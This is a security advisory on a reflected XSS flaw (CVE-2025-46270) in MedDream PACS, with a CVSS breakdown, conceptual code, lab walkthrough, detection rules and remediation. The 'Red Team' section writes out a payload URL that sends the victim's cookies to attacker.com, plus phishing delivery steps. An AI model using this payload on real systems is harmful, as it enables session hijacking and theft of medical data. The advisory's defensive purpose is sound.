CVE-2025-46270

Executive Summary

CVE-2025-46270 is a reflected cross-site scripting (XSS) vulnerability in MedDream PACS Premium version 7.3.6.870. The flaw resides in the fetchPriorStudies functionality, allowing an attacker to inject arbitrary JavaScript code via a specially crafted URL. With a CVSS score of 6.1 (Medium), this vulnerability requires user interaction but no authentication, making it a viable vector for phishing or social engineering attacks. No public exploit code or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation activity at this time.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R)
• Scope: Changed (S:C)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

The threat level is medium due to the requirement for user interaction, but the lack of authentication and the potential for session hijacking or data theft elevate the risk in targeted attacks.

Deep Dive & Mechanics

The vulnerability exists in the fetchPriorStudies endpoint of MedDream PACS Premium. This endpoint is designed to retrieve prior study data for comparison, but it improperly reflects user-supplied input in the response without sanitization or encoding. An attacker can craft a URL containing malicious JavaScript, such as:

https://target-ip/MedDream/WebService/fetchPriorStudies?studyUID=<script>alert('XSS')</script>

When a victim clicks this link, the script executes in the context of the MedDream PACS session, potentially allowing the attacker to steal cookies, perform actions on behalf of the user, or exfiltrate sensitive medical data.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// fetchPriorStudies endpoint
app.get('/fetchPriorStudies', (req, res) => {
    const studyUID = req.query.studyUID;
    // Direct reflection without sanitization
    res.send(`<div>Study UID: ${studyUID}</div>`);
});

Patched Code (Conceptual):

// fetchPriorStudies endpoint
app.get('/fetchPriorStudies', (req, res) => {
    const studyUID = req.query.studyUID;
    // Sanitize input using a library like DOMPurify or encode output
    const sanitizedUID = sanitizeHtml(studyUID);
    res.send(`<div>Study UID: ${sanitizedUID}</div>`);
});

The patch would involve proper output encoding or input validation to prevent script injection.

Exploitation & Lab Setup

Red Team

1. Setup: Deploy a local instance of MedDream PACS Premium 7.3.6.870 in a controlled lab environment.
2. Craft Payload: Create a malicious URL:

   http://localhost/MedDream/WebService/fetchPriorStudies?studyUID=<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
   

3. Deliver: Send the URL to a victim via email or social engineering.
4. Capture: Set up a listener on attacker.com to receive exfiltrated cookies.

Blue Team

1. Monitor: Look for unusual requests to /fetchPriorStudies with script-like parameters.
2. Block: Implement WAF rules to block <script> tags in query parameters.
3. Educate: Train users to avoid clicking suspicious links, especially those containing studyUID parameters.

Indicators of Compromise (IOCs)

• Network: HTTP requests to /MedDream/WebService/fetchPriorStudies with studyUID containing <script> or onerror attributes.
• Logs: Web server logs showing alert, document.cookie, or fetch in query strings.
• Endpoint: Presence of unexpected JavaScript execution in the browser when accessing MedDream PACS.

Detection Engineering

YARA Rule

rule CVE_2025_46270_XSS {
    meta:
        description = "Detects reflected XSS attempts against MedDream PACS fetchPriorStudies"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-46270"
    strings:
        $xss1 = /fetchPriorStudies\?studyUID=.*<script/i
        $xss2 = /fetchPriorStudies\?studyUID=.*onerror/i
        $xss3 = /fetchPriorStudies\?studyUID=.*alert\(/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS in MedDream PACS fetchPriorStudies
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects reflected XSS attempts against MedDream PACS fetchPriorStudies endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: 
            - "fetchPriorStudies?studyUID="
            - "<script"
            - "onerror"
            - "alert("
    condition: selection
falsepositives:
    - Legitimate use of studyUID with special characters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-46270 - Reflected XSS in MedDream PACS fetchPriorStudies"; flow:to_server,established; content:"/MedDream/WebService/fetchPriorStudies"; http_uri; content:"studyUID"; http_uri; pcre:"/(<script|onerror|alert\()/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Implement a Web Application Firewall (WAF) rule to block requests containing <script> or onerror in the studyUID parameter.
2. Short-term: Apply input validation and output encoding to the fetchPriorStudies endpoint. Use a library like OWASP Java Encoder or DOMPurify.
3. Long-term: Upgrade to a patched version of MedDream PACS when available. Monitor vendor advisories for updates.
4. User Training: Educate users on the risks of clicking untrusted links, especially those containing studyUID parameters.

Valters IT